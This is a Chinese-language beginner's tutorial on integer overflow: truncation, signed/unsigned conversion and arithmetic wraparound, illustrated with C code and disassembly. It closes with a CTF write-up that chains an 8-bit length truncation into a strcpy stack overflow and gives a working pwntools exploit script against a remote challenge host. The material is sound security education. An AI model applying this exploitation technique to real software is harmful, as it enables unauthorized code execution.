不一樣的整數溢出

0x01 爲什麼會存在整數溢出

回答這個問題前,我們需要了解下整數在計算機的存儲方式。在計算機中,因爲二值邏輯,只有開和關(通電、斷電)來表示兩種狀態,這剛好與"0"、"1"相對應,因此在存儲單元都是以0和1來呈現,那麼對於有符號數與無符號數的區別就是:以所能表示的長度的空間,它的最高位所代表的性質不同,如下圖所示:

在這裏插入圖片描述

這是一個存放8個1的8bit長度的存儲單元,其最高位的不同(符號位和數值位)決定了它的絕對值的不同,當然決定了其取值範圍的不同。
把握其中的三個關鍵點:
一、固定長度的空間(存儲單元)
二、符號位和數值位
三、如果運算後發生進位溢出,綠色區域的空間依舊可以用
其實這樣梳理以後,整數溢出的原理就隨之對應而來了。

0x02 整數溢出原理

先來看一下整數溢出的危害
如果我們用某個整數來表示空間的大小或者說索引,那麼整數溢出可以導致堆溢出或者棧溢出,間接導致任意代碼執行。可以發現,整數溢出,實際上就是程序沒有按照我們正常邏輯去進行(出乎意料),被惡意利用後就會產生危害。
可以對應上述(關鍵點)三種情況:
一、兩個不同長度的儲存空間進行賦值。將一個長度較長的數賦值給長度較短的空間,高位會被截斷。
二、有符號數與無符號數之間的轉換。由於最高位的性質不同,導致各種出乎意料的狀況發生。
三、有(無)符號數的四則運算。比如符號相同的數就行相加,只有數值最高位或者符號位進位時,就會發生溢出;較大的無符號數的相加也會導致溢出。
具體的一些細節可以參考《計算機組成原理》的計算機的運算方法。

0x03 整數溢出例子分解

知道了原理,也清楚了類型,這裏就一個一個分解,個人感覺論溢出的時候,從二進制出發考慮數據類型的取值範圍和溢出臨界點會更容易理解。

一、截斷

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    int a = 65536;                   // 0x10000 -> 1 0000 0000 0000 0000
    short b;                     
    b = a;
    printf("%d\n", b);
    return 0;
}

short 爲16bit(其中1位符號位),int爲32bit(其中1位符號位)當把a(17bit)賦值給b時,會發生高位截斷,從而b爲 0000 0000 0000 0000,也就是0。再來詳細看一下具體執行過程。

0040152E    C74424 1C 00000>mov dword ptr ss:[esp+0x1C],0x10000
// Stack ss:[0061FE9C]=00010000
00401536    8B4424 1C       mov eax,dword ptr ss:[esp+0x1C]
// eax=00010000
0040153A    66:894424 1A    mov word ptr ss:[esp+0x1A],ax
// 重點來了,取eax的低16位的值放到ss:[0061FE9A]中,也就是0000
0040153F    0FBF4424 1A     movsx eax,word ptr ss:[esp+0x1A]
// eax=00000000
00401544    894424 04       mov dword ptr ss:[esp+0x4],eax

可以發現,在執行的時候eax的高位被截斷了,只有操作了低16位的存儲的數值。

二、有(無)符號數之間的轉換

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    unsigned short a = 32768;                   // 0x8000 -> 1000 0000 0000 0000
    short int b;                     
    b = a;
    printf("%d\n", b);
    return 0;
}

此時b又是多少呢?按照剛纔的方法,從二進制的數入手,顯然b爲:1000 0000 0000 0000,雖然每一位的數沒有變,但是最高位的性質變了,現在爲符號位,也就是表示負數,後面15位爲數值。那麼此時的值是多少呢?計算機對負數是以補碼的形式進行保存的,因此值爲-2的15次方*1,也就是-32768。再來詳細看一下具體執行過程。

0040152E    66:C74424 1E 00>mov word ptr ss:[esp+0x1E],0x8000
// Stack ss:[0061FE9E]=8000
00401535    0FB74424 1E     movzx eax,word ptr ss:[esp+0x1E]
// eax=0008000
0040153A    66:894424 1C    mov word ptr ss:[esp+0x1C],ax
// Stack ss:[0061FE9C]=8000
0040153F    0FBF4424 1C     movsx eax,word ptr ss:[esp+0x1C]
// 可以發現兩次用到了不同的指令movzx和movsx,第一個是無符號擴展,並傳送,第二個帶符號擴展,並傳送,所以此處的eax=FFF8000
00401544    894424 04       mov dword ptr ss:[esp+0x4],eax

三、有(無)符號的四則運算

先來看有符號的加法

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[]) {
    short a = 32767;                   // 0x7fff -> 0111 1111 1111 1111            
    a++;
    printf("%d\n", a);
    return 0;
}

short最大數加一後,就會變成最小數。

在這裏插入圖片描述

再來詳細看一下具體執行過程。

0040152E    66:C74424 1E FF>mov word ptr ss:[esp+0x1E],0x7FFF
// Stack ss:[0061FE9E]=7FFF
00401535    0FB74424 1E     movzx eax,word ptr ss:[esp+0x1E]
// eax=0007FFF
0040153A    83C0 01         add eax,0x1
// 執行自加,eax=008000
0040153D    66:894424 1E    mov word ptr ss:[esp+0x1E],ax
// Stack ss:[0061FE9E]=8000
00401542    0FBF4424 1E     movsx eax,word ptr ss:[esp+0x1E]
// 使用movsx把0x8000再次放進eax中,eax=FFF8000
00401547    894424 04       mov dword ptr ss:[esp+0x4],eax

再來看一下無符號數,其實原理是一樣的,如果說有符號數是一個座標軸(如上圖所示),那麼無符號數就是一個圓盤(如下圖所示),無論上溢出還是下溢出,都是圍繞圓心循環轉。

在這裏插入圖片描述

分析完這幾個類型後,疑惑就來了,說了這麼多怎麼利用呢?

0x03 實戰

這裏選用攻防世界的int_overflow爲例進行分析
拖到IDA中查看僞代碼

int __cdecl main(int argc, const char **argv, const char **envp){
  int v4; // [esp+Ch] [ebp-Ch]
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("---------------------");
  puts("~~ Welcome to CTF! ~~");
  puts("       1.Login       ");
  puts("       2.Exit        ");
  puts("---------------------");
  printf("Your choice:");
  __isoc99_scanf("%d", &v4);
  if ( v4 == 1 ){
    login();
  }
  else{
    if ( v4 == 2 ){
      puts("Bye~");
      exit(0);
    }
    puts("Invalid Choice!");
  }
  return 0;
}

沒有發現可疑問題,查看login()函數

int login(){
  char buf; // [esp+0h] [ebp-228h]
  char s; // [esp+200h] [ebp-28h]
  memset(&s, 0, 0x20u);
  memset(&buf, 0, 0x200u);
  puts("Please input your username:");
  read(0, &s, 0x19u);
  printf("Hello %s\n", &s);
  puts("Please input your passwd:");
  read(0, &buf, 0x199u);
  return check_passwd(&buf);
}

似乎也沒什麼可疑的地方,繼續查看check_passwd(&buf),可以先注意下變量buf,因爲他是可控的,長度爲0x199

char *__cdecl check_passwd(char *s){
  char *result; // eax
  char dest; // [esp+4h] [ebp-14h]
  unsigned __int8 v3; // [esp+Fh] [ebp-9h]
  v3 = strlen(s);
  if ( v3 <= 3u || v3 > 8u ) {
    puts("Invalid Password");
    result = (char *)fflush(stdout);
  }
  else{
    puts("Success");
    fflush(stdout);
    result = strcpy(&dest, s);
  }
  return result;
}

查看到這裏,我們首先發現就是strcpy函數導致的棧溢出,爲什麼這麼說呢?
變量buf的長度0x199,又可以發現變量dest的位置是ebp-14h,也就是我們可以控制變量buf來控制函數的返回值,進而控制EIP的值,詳細的原理和方法,可以參看走進棧溢出初探ROP
但是問題又來了,程序用了一個if語句限制了變量buf的長度,使得我們無法達到所想的棧溢出效果,是不是就無法攻擊了?回到這一篇文章的核心思想,就知道我們需要尋找整數的溢出的地方。

unsigned __int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u ) {

可以發現v3是一個8bit的無符號的變量,但是我們的變量buf(後面表示爲s)的長度卻可以達到0x199,也就是409bit的長度,這裏就是我們在文章開頭提到的第一種情況:將一個長度較長的數賦值給長度較短的空間,高位會被截斷。如下圖所示:

在這裏插入圖片描述

v3的數值就是s的長度的低8位的數值,所以我們只要控制低8位的值就可以繞過if,完成後面的棧溢出攻擊。
繼續分析,v3∈(3, 8],化爲二進制(0000 0011, 0000 1000],那麼s的長度(設爲L)的低八位應該也爲(0000 0011, 0000 1000],要想既達到整數溢出的目的,又能進行棧溢出攻擊,L至少有一位(大於第八位)上的數值爲1,這裏選取只有第九位的數值爲1,即L(低九位)∈(10000 0011, 10000 1000],也就是(259, 264],這也是整個L的長度。構造payload來獲取flag,在IDA中可以找到

int what_is_this()
{
  return system("cat flag");
}
對應
.text:0804868B what_is_this    proc near
.text:0804868B ; __unwind {
.text:0804868B                 push    ebp
.text:0804868C                 mov     ebp, esp
.text:0804868E                 sub     esp, 8
.text:08048691                 sub     esp, 0Ch
.text:08048694                 push    offset command  ; "cat flag"
.text:08048699                 call    _system
.text:0804869E                 add     esp, 10h
.text:080486A1                 nop
.text:080486A2                 leave
.text:080486A3                 retn
.text:080486A3 ; } // starts at 804868B
.text:080486A3 what_is_this    endp

把返回地址覆蓋爲0x804868B即可獲取flag,構造payload

payload = flat(['a' * 0x18, 0x804868B, 'a' * 232])
//像這種湊長度了使用payload = flat(['a' * 0x18, 0x804868B]).ljust(260,"a")

可以再用gdb確認一下溢出臨界,在strcpy處下斷點,如下圖所示,這裏可以詳細推敲一下(雖然意義不大,但是挺好玩的),esp中存的是s的開始位置0xfffbbf4,ebp爲0xfffbc08,可以發現是相差0x14。

在這裏插入圖片描述

其實這個elf文件的溢出臨界也可以在彙編代碼中找,如下圖所示,有些文件會以esp+0xN來顯示,因此可以用上面設置斷點的方法找。

在這裏插入圖片描述

分析到這,此題也算是做完了,編寫exp拿到flag即可,而且此題對整數溢出的應用更加深了。

from pwn import * 
io = remote("111.198.29.45", 35521) 
cat_flag_addr = 0x0804868B 
io.sendlineafter("Your choice:", "1") 
io.sendlineafter("your username:", "threepwn") 
payload = flat(['a' * 0x18, cat_flag_addr, 'a' * 232])
io.sendlineafter("your passwd:", payload) 
io.recv() 
io.interactive()

0x04 附錄

借用ctfwiki的一幅圖(個人感覺從二進制的數值入手會更容易理解整數溢出)

在這裏插入圖片描述

0x05 尾記

還未入門,詳細記錄每個知識點,爲了能更好地溫故知新,也希望能幫助和我一樣想要入門二進制安全的初學者,如有錯誤,希望大佬們指出。
另見:http://bey0nd.xyz/2020/03/25/1/
參考:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/integeroverflow/intof-zh/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章